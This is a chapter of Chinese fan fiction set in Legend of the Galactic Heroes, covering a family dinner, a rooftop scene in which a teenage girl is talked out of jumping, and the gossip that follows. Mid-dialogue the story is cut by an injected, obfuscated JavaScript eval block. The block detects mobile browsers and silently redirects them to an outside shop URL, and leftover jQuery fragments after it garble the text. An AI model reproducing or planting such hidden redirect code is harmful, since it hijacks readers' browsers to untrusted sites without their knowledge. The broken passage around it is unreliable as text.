搬入别馆第三天下午,格特鲁德和安妮罗杰在厨房里做饭。
她们穿着围裙,洗菜、切菜、打蛋、和面……配合默契,手脚利落,就如当年在老屋那样。
安妮罗杰负责制作自己最拿手的苹果派和巴旦杏蛋糕;格特鲁德让别馆厨子弄来一口最大尺寸的烤箱,把一整条腌制过的猪骨放进去烘烤;再用料理机器人把牛肉锤成肉泥,加入蛋清与调料,拢成半拳大小的肉丸。
“要做新菜吗?”安妮罗杰好奇地探过头看着碗里的肉丸,眉眼微弯:“姐姐这些年也没少研究菜品啊!”
“饮食是人最基本的需要,若连吃都不讲究,生活也太没品质了。”格特鲁德耸了耸肩:“你的甜品也越做越好了。”
“闲着也是闲着,每次莱茵哈特去宫里,总想给他们做些吃的带回来。送吃的是再好不过了……”
莱因哈特与吉尔菲艾斯从元帅府回来,大门打开的瞬间,食物香气将门里门外分隔为两个世界。
莱茵哈特冷肃盘算的神色在短短几秒内和缓下来,之前脑海里翻转的那些关于大贵族的动向、立典拉德的小动作、自由行星同盟的局势等事务,瞬间被这阵香气冲散。
吉尔菲艾斯认出了圆桌上的甜点是安妮罗杰夫人做惯了的,另外几样造型新奇的菜品,应该出自格特鲁德小姐的手笔。
两人不约而同走到厨房门口。
格特鲁德和安妮罗杰正背对着他们,有说有笑。
他们在厨房门口站了一会儿,没有说话——这幅画面,是他们这些年来最怀念也最想要的,此刻他们一点也不愿发出声音搅扰。
“回来了?”格特鲁德端着果盘转身,看见金发青年和红发青年站在门口,下巴朝灶台上一抬,自然地招呼:“帮忙把那个端出去。”
莱茵哈特正想动,忽然注意到自己的元帅服与厨房格格不入,吉尔菲艾斯笑着上前端走了格特鲁德示意的餐盘——盘子上放着四只碗,盖着盖子,不知道里面装了什么。
莱茵哈特换好常服后,四人围着圆桌坐下。
莱茵哈特眼带询问看向格特鲁德,等她解释菜品涵义。
“骨桥。”格特鲁德指着那条保持原形高高隆起、仿佛一座桥的猪骨说:“骨头烤脆了,浇上炒香的配菜。从这头吃到那头,就像过桥。”
她说完,拿起餐刀,从骨头上削下一块带着酱汁的肉,先放进安妮罗杰碗里:“庆祝安妮回家。过了‘桥’,以后一切顺利。”
“谢谢。”
安妮罗杰眼里闪出盈盈的光。
格特鲁德又起身把他们三人面前的碗盖一一揭开。碗里盛着鸡汤,青绿的葱花中间浮着一颗半拳大的肉丸:“这叫‘狮子头’。”
“‘狮子头’?”莱茵哈特用勺子碰了碰那颗肉丸,微微偏头打量:“这跟狮子有什么关系?”
格特鲁德最后揭开自己的碗盖,眼皮都没抬一下:“别管什么关系了,就叫这个名字。”
她表面平静,心里却有点想笑——他当然不会知道今后他的旗帜是“黄金狮子旗”。
其他的家常菜品不需要特别说明,安妮罗杰不停地给莱因哈特和吉尔菲艾斯夹菜,他们埋头苦干,尽力把菜都吃完了。
“成年以后食量固定了啊。”格特鲁德给他们端来山楂蜜水,对安妮罗杰感慨:“以前从幼年学校放假回来像饿了半个月的狼。”
“没那么夸张。”
莱茵哈特目光斜瞥过来,带着一点不太明显的霸主气势。
“那时候在长身体啊。”安妮罗杰笑了,轻轻捂了下嘴,看向两个青年:“一转眼个子都这么高了……”
四个人坐在客厅里聊到很晚。
谁也不提宫廷、战争,以及接下来要往哪里走。
吉尔菲艾斯听格特鲁德与安妮罗杰回忆还在老屋时的趣事,只觉得心里不断涌出幸福。
真的——非常幸福。
……
当夜入睡之前,格特鲁德敲开了安妮罗杰的房门。
“姐姐?”
“我有件东西交给你。”格特鲁德拉着她到窗边的小桌边坐下,表情郑重,然后从口袋里掏出一张薄薄的电子票证。
“这个。”
安妮罗杰接过,低头看了一眼。
票证很旧,上面显示着五十万帝国马克。
“当年那五十万。”格特鲁德的声音很轻:“我从叔父那里截下来了。留到今天,是因为我一直觉得,只有你才能决定该如何处理。”
安妮罗杰捏着那张票证,很久没有说话。
她垂下头,肩膀极轻地颤了一下。
五十万帝国马克——买了她十年青春、自由与快乐,也让她和这个家庭的命运走上了完全无法预料的方向。
格里华德伯爵夫人,帝国元帅的姐姐……那些虚名她统统不在意。
她在意的东西都已经无法恢复原状,可是格特鲁德却留下了这象征着命运般的五十万,这么多年来分毫未动,甚至没让人知道。
“谢谢。”安妮罗杰终于开口,声音细而潮:“你觉得……我如何处置更好呢?”
“这是你的自由。扔了也行,捐了也行。”格特鲁德伸手轻轻擦去她眼下的水痕:“安妮,我不是想揭开你的伤心事。我只想把这个给你,还有——欢迎你回来。”
“我知道。”安妮罗杰点头,低喃着:“我知道的……”
奥丁,帝国军医总部。
格特鲁德走出会议室,和伦纳在数据分析终端看了专案组最新成果,签署了康复随访体系全国推广方案第三轮修订意见。
快下班时她接到玛格丽特的通讯,说伊莎贝拉的侄女——她丈夫战死兄长留下的女儿玛丽安,因急性酒精中毒,被就近送到奥丁医学院附属医院治疗。
正好顺路,她买了礼品,打算去看看。
她去病房的时候,玛丽安刚醒不久,脸色苍白,但说话还算清楚,道了谢,也道了歉,说自己太不小心。
伊莎贝拉没有透露为什么这个内向的14岁少女会突然酗酒,格特鲁德也没有多问,嘱咐了几句好好休养,便退了出来,转到玛格丽特办公室闲聊。
茶喝到第三杯时,终端响了——伊莎贝拉的紧急通讯。
她神色慌张:“你们还在医院吗?”
“在。你说。”
“玛丽安——她爬到了住院大楼顶楼。”伊莎贝拉的声音压得很低,却止不住发抖:“我跟她说了半小时,她不下来。”
格特鲁德放下茶杯站起来,玛格丽特已经推开了椅子,两人对视一眼,一前一后出了办公室。
住院大楼下面围了几个护工和值班的宪兵,仰着头,不敢上去。
伊莎贝拉站在楼下,脸色发白,看到她时嘴唇动了一下,没说出话。
“怎么回事?”
“昨天我带她去女子学院选科,路上……”伊莎贝拉抓住她的手臂:“她撞见了一个男人,和一位夫人……情形很暧昧。回来以后她就把自己锁在房间里喝了不少酒,后来急性中毒送进来,你也知道了。我以为她缓过来了,谁知道她趁人不注意……”
格特鲁德没有追问那个男人是谁。
她拍了拍伊莎贝拉的手背,转身走进住院大楼。
电梯到不了顶层,她沿着最后一截消防楼梯往上爬。推开顶楼铁门的时候,夜风猛地灌进来。
玛丽安站在顶楼护栏外面,赤脚踩在一米宽的挑檐边上,病号服被风吹得猎猎作响。
拖鞋整齐地摆在护栏内侧。她的头发还是散的,脸上没什么血色,但表情不是恐惧——是愤怒。
“玛丽安。”
少女转过头看着她。
“你不用劝我。我知道你要说什么——‘他不值得’、‘你以后会遇到更好的人’、‘你还年轻’。伊莎贝拉刚才都说过了。”
“好吧,好吧,”格特鲁德举起双手,示意对方不要激动,转而开始套话:“那个男人——他怎么跟你说的?”
“他什么都没跟我说。”玛丽安闻言,沮丧地抽泣道:“前几次见面他还会跟我点头示意……”
格特鲁德皱了皱眉头:“玛丽安,你有没有想过一个问题——你为什么会觉得他对你有意?”
玛丽安的眼神再次迷离起来:“他看我的眼神。在走廊上那次,他低头看我的时候——他的眼睛……一只蓝色,一只黑色。你不会懂的。”
格特鲁德沉默了片刻。
哦,是那个男人啊。
不过说实话,这件事情上,罗严塔尔可能是冤枉的——他眼光不低,对14岁乳臭未干的小女孩应该没兴趣。
格特鲁德把语气放得更平缓了一些:“玛丽安,我要跟你说一件事。你是不是觉得他看你的眼神很特别,觉得那是只对你一个人的?”
玛丽安咬住嘴唇。
“可我想说的是——”格特鲁德吸了一口气,加重了语调:“奥斯卡·冯·罗严塔尔长成那样,他就算是看狗都显得深情款款。”
楼上安静了大约三秒钟。
玛丽安发出尖锐爆鸣:“你胡说——!”
“我没有胡说。”格特鲁德清晰而流畅地开始专业分析,完全不理会被真相暴击的少女此刻有多么心碎:“他的眼型内勾外翘,一只蓝一只黑,轮廓极深,瞳距刚好,他微笑着看任何东西都自带三分柔情和七分深邃——这是颅骨结构和虹膜色差的物理组合。所以,他看你、看路人、看流浪狗的眼神都是一个型号的。”
“你骗我!”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17844719|207854||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
p>“我没骗你。你在这里寻死觅活,他大概正和朋友喝酒,或者跟哪位佳人约会——完全不知道有个女孩为他哭了。你觉得自己是为爱情献身的悲剧女主角,在他看来——抱歉,你只是有几面之缘的女孩,他甚至可能不记得你的名字。”
玛丽安的眼泪又流了下来,抓着栏杆的手松了一点。
片刻之后,她蹲在护栏内侧的石板上,把脸埋进膝盖里,哭声被风吹散。
格特鲁德走过去,把自己的制服外套披在她肩上。
“走吧。回病房去。”
经过反复安抚,终于让玛丽安睡过去后,伊莎贝拉坐在玛格丽特的值班室里,端着茶杯,语气无奈:“玛丽安平静下来了——刚才她坐在床上,突然说了一句话。”
“什么话?”
“‘他看我的时候,我觉得自己是被认真注视着着的。’”
格特鲁德抬起眼睛:“她这么说的?”
“对。说完又哭了。”
格特鲁德端起自己的茶杯,沉默了一会儿:“这孩子可能是想找父爱。”
“你说什么?!”
玛格丽特差点把茶呛出来。
格特鲁德一本正经地询问伊莎贝拉:“你自己想想,她父亲什么时候阵亡的?当时她几岁?”
“应该……六岁的时候?”
“六岁没了父亲——然后她在骑士小说里泡了八年。她不是在找爱人,是在找一个永远不会再回来的人。罗严塔尔那双眼睛刚好够有迷惑性——让她把自己需要的东西投射上去了。这不是爱情,是未完成哀悼的延迟投射。”她喝了口茶,“当然,你要是跟那些贵妇这么说,她们只会记住‘找父爱’这句话。”
“谁会跟她们说这个。”
伊莎贝拉揉了揉太阳穴,疲惫不堪。
几天后,格特鲁德发现外面关于罗严塔尔的消息似乎在疯传。
最开始是从医院开始传的——至于是护工、宪兵还是值班医生则已不可查证。
传话的人大概不敢凑近偷听,只隐约捕捉到几个词——“罗严塔尔”“父爱”“投射”——然后凭自己的理解补全了。
一周之后,军务省的茶水间里出现了一个地狱笑话:罗严塔尔看狗都深情款款,被他迷住的女孩是在找父爱。
两周之内,莱因哈特麾下的年轻将官们全部听过了这个暴论。
——至于罗严塔尔本人。
根据八卦消息的扩散规律,最后知道消息的往往是本人。
几个聚堆聊天的年轻参谋正在讨论这件事,被罗严塔尔碰了个正着。
他没有说话,也没有露出惯有的冷笑,只是用那双金银妖瞳凝视对方——然后那几个年轻参谋战战兢兢主动退出了三步之外。
毕典菲尔特则遭了大罪——某天高级将官会上,他正好坐在罗严塔尔对面。
会议讨论的是近期防卫部署,气氛严肃。
可他一抬头,就看见罗严塔尔那双异色瞳,瞬间脑子里自动蹦出“看狗都深情款款”,然后又是“找父爱”。
毕典菲尔特只能努力回想自己打过的败仗,试图把笑意压下去——结果就是,他脸上出现了一种半哭半笑、极不自然的扭曲表情。
坐在他旁边的米达麦亚从眼角瞥见,差点被自己的口水呛到;缪拉低下了头,肩膀抖了几下;连一向稳重的瓦列和鲁兹都把目光死死钉在面前的星图上,嘴巴抿成一条线。
只有罗严塔尔依旧一脸平静,像完全没注意到。
散会后,毕典菲尔特终于憋不住仰头大笑,椅子往后滑出去:“找父爱——在罗严塔尔身上——有女人想在他身上找父爱!”
他笑到一半,发现四周很安静,几位同僚坐在原处捂着脸,肩膀微微抖动,只有会议记录官出门时悄悄把门带上了。
这件事过后,伊莎贝拉劝说丈夫举家搬去乡下别院,闭门不出,对外说是小姐受了惊吓,夫人旧疾复发,不宜见客。
贵族圈子里有人阴阳怪气:“一家子自甘堕落,竟看上金发小子的部下。”
伊莎贝拉听了,只对丈夫说:“这样正好。”
他们这家人,总算从棋局边上退出去了。
而那天晚上,格特鲁德在办公室里整理完最后一份报告,关了终端。
窗外奥丁的夜色沉沉,她忽然想起一件事——当时在顶楼,玛丽安蹲在地上哭完之后,抬起头问了她一个问题。
“你怎么知道罗严塔尔看狗是什么眼神?”
她没回答。
她总不能说“我前世在网上看过他的同人图”,那张图下面有条评论,被赞了三千次。
原文写的是:“这哥们的脸看饮水机都像在看此生挚爱。”
饮水机,狗,一个道理。